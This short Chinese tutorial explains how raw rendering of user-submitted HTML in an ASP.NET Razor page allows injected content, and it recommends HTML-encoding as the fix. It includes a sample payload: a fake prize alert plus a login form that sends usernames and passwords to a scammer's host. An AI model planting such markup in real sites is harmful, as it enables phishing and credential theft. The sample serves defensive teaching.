当用户在一个页面输入一段html代码,假设服务器进行了
<httpRuntime requestValidationMode="2.0" />
设置,表示允许用户提交含有html标签的内容(如下):
<script> alert('供需您中奖了,请登录领取!'); </script> <form action='http://www.lingjiang.com' method='get' style='color:red' > 用户名<input type='text' name='username'/><br/> 密码<input type='password' name='password'/><br/> <input type='submit' value='领取奖品'/><br/> </form>
这时在客户端显示出来的该内容,如果被@RazorHelper.RawString(Model.NOTE)进行原样显示,则可能会形成下面的结果:
这样很可能有用户进行登录,把用户名和密码发送到骗子所在的服务器端(如 http://www.lingjiang.com),从而盗取密码。
但有时候网站管理员确实需要插入一段javascript或者html代码,为了避免在显示的时候出现咋骗,需要对要显示html代码进行转义显示,
即cshtml页面的@Model.NOTE
或html页面的@RazorHelper.HtmlEncodedString(Model.NOTE)